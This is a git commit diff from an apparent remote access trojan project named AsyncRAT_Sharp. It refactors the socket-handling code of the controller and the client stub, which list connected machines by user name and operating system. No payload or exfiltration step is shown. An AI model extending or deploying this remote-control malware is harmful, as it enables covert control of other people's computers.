update
This commit is contained in:
parent
7dc1a4c8ff
commit
3483c7644f
@ -23,7 +23,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
{
|
{
|
||||||
client.LV = new ListViewItem();
|
client.LV = new ListViewItem();
|
||||||
client.LV.Tag = client;
|
client.LV.Tag = client;
|
||||||
client.LV.Text = string.Concat(client.client.RemoteEndPoint.ToString());
|
client.LV.Text = string.Concat(client.Client.RemoteEndPoint.ToString());
|
||||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
||||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
|
||||||
Program.form1.listView1.Items.Insert(0, client.LV);
|
Program.form1.listView1.Items.Insert(0, client.LV);
|
||||||
|
@ -11,43 +11,42 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
{
|
{
|
||||||
class Clients
|
class Clients
|
||||||
{
|
{
|
||||||
public Socket client;
|
public Socket Client { get; set; }
|
||||||
public byte[] Buffer;
|
public byte[] Buffer { get; set; }
|
||||||
public long Buffersize;
|
public long Buffersize { get; set; }
|
||||||
public bool BufferRecevied;
|
public bool BufferRecevied { get; set; }
|
||||||
public MemoryStream MS;
|
public MemoryStream MS { get; set; }
|
||||||
public ListViewItem LV;
|
public ListViewItem LV { get; set; }
|
||||||
public event ReadEventHandler Read;
|
public event ReadEventHandler Read;
|
||||||
public delegate void ReadEventHandler(Clients client, byte[] data);
|
public delegate void ReadEventHandler(Clients client, byte[] data);
|
||||||
|
|
||||||
public void InitializeClient(Socket CLIENT)
|
public void InitializeClient(Socket CLIENT)
|
||||||
{
|
{
|
||||||
client = CLIENT;
|
Client = CLIENT;
|
||||||
client.ReceiveBufferSize = 50 * 1024;
|
Client.ReceiveBufferSize = 50 * 1024;
|
||||||
client.SendBufferSize = 50 * 1024;
|
Client.SendBufferSize = 50 * 1024;
|
||||||
client.ReceiveTimeout = -1;
|
Client.ReceiveTimeout = -1;
|
||||||
client.SendTimeout = -1;
|
Client.SendTimeout = -1;
|
||||||
Buffer = new byte[1];
|
Buffer = new byte[1];
|
||||||
Buffersize = 0;
|
Buffersize = 0;
|
||||||
BufferRecevied = false;
|
BufferRecevied = false;
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
LV = null;
|
LV = null;
|
||||||
Read += HandlePacket.Read;
|
Read += HandlePacket.Read;
|
||||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public async void ReadClientData(IAsyncResult ar)
|
public async void ReadClientData(IAsyncResult ar)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (!client.Connected)
|
if (!Client.Connected)
|
||||||
{
|
{
|
||||||
Disconnected();
|
Disconnected();
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
int Recevied = client.EndReceive(ar);
|
int Recevied = Client.EndReceive(ar);
|
||||||
if (Recevied > 0)
|
if (Recevied > 0)
|
||||||
{
|
{
|
||||||
if (BufferRecevied == false)
|
if (BufferRecevied == false)
|
||||||
@ -76,12 +75,12 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
Read?.BeginInvoke(this, MS.ToArray(), null, null);
|
Read?.BeginInvoke(this, MS.ToArray(), null, null);
|
||||||
Buffer = new byte[1];
|
Buffer = new byte[1];
|
||||||
Buffersize = 0;
|
Buffersize = 0;
|
||||||
BufferRecevied = false;
|
|
||||||
MS.Dispose();
|
MS.Dispose();
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
|
BufferRecevied = false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -107,15 +106,15 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
MS.Dispose();
|
MS.Dispose();
|
||||||
client.Close();
|
Client.Close();
|
||||||
client.Dispose();
|
Client.Dispose();
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
|
||||||
public async void BeginSend(byte[] Msgs)
|
public async void BeginSend(byte[] Msgs)
|
||||||
{
|
{
|
||||||
if (client.Connected)
|
if (Client.Connected)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@ -126,8 +125,8 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
await MS.WriteAsync(buffersize, 0, buffersize.Length);
|
await MS.WriteAsync(buffersize, 0, buffersize.Length);
|
||||||
await MS.WriteAsync(buffer, 0, buffer.Length);
|
await MS.WriteAsync(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
client.Poll(-1, SelectMode.SelectWrite);
|
Client.Poll(-1, SelectMode.SelectWrite);
|
||||||
client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, new AsyncCallback(EndSend), null);
|
Client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, new AsyncCallback(EndSend), null);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
@ -142,7 +141,7 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
client.EndSend(ar);
|
Client.EndSend(ar);
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
|
@ -12,13 +12,13 @@ namespace Client
|
|||||||
{
|
{
|
||||||
class Program
|
class Program
|
||||||
{
|
{
|
||||||
public static Socket client;
|
public static Socket client { get; set; }
|
||||||
public static byte[] Buffer;
|
public static byte[] Buffer { get; set; }
|
||||||
public static long Buffersize;
|
public static long Buffersize { get; set; }
|
||||||
public static bool BufferRecevied;
|
public static bool BufferRecevied { get; set; }
|
||||||
public static MemoryStream MS;
|
public static MemoryStream MS { get; set; }
|
||||||
|
|
||||||
static void Main(string[] args)
|
static void Main(string[] args)
|
||||||
{
|
{
|
||||||
InitializeClient();
|
InitializeClient();
|
||||||
while (true)
|
while (true)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user